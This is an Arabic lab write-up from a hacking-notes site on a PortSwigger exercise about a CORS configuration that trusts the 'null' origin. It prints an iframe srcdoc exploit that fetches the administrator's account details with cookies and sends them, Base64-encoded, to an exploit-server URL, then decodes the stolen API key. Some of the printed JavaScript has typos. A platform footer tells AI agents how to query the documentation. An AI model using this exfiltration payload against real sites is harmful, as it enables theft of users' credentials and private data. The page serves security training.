> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cors/cors-null-origin-trusted.md).

# الثقة في أصل CORS null

### ثغرة CORS مع أصل null موثوق

استغل إعداد CORS ضعيفًا يثق بالأصل `"null"`. تتمثل مهمة المختبر في استرداد مفتاح API من المسؤول عبر استعلام CORS (مع `بيانات الاعتماد`) وتحميل الرمز إلى خادم الاستغلال. يُحل المختبر عندما يتم إرسال مفتاح API الخاص بالمسؤول بنجاح.

* يُرجع الخادم `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/4531cda1bea1e2b18863be0614fd968846a8550f" alt=""><figcaption></figcaption></figure>

عندما تكون `Origin: jord4n.pro` الترويسة مُرسلة، لا يتم عكس النطاق.

<figure><img src="/files/c1522fe691681fee7a49d2112bad23483ee4c6c4" alt=""><figcaption></figcaption></figure>

ومع ذلك، عند إرسال `Origin: null`، يقبل الرد هذه القيمة ويعكسها.

<figure><img src="/files/3ba5b6041740dc6712f644c6fa1d09a10213795e" alt=""><figcaption></figcaption></figure>

أجبر طلبًا من صفحة ذات `null` الأصل (مثلًا عبر `إطار iframe` باستخدام `srcdoc`) بحيث يعتبر رد CORS الأصل موثوقًا ويعيد البيانات (مع استخدام ملفات تعريف الارتباط باستخدام `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/2de9a4981d7e90a41419a3ba728adab256ec6088" alt=""><figcaption></figcaption></figure>

> ملاحظة: المبدأ هو تنفيذ هذا الرمز من `null` الأصل (iframe `srcdoc`) بحيث يكون رد CORS، الذي يقبل `null`، يعيد بيانات حساسة بما فيها ملفات تعريف الارتباط.

المفتاح المسترد، بعد فك ترميزه من Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
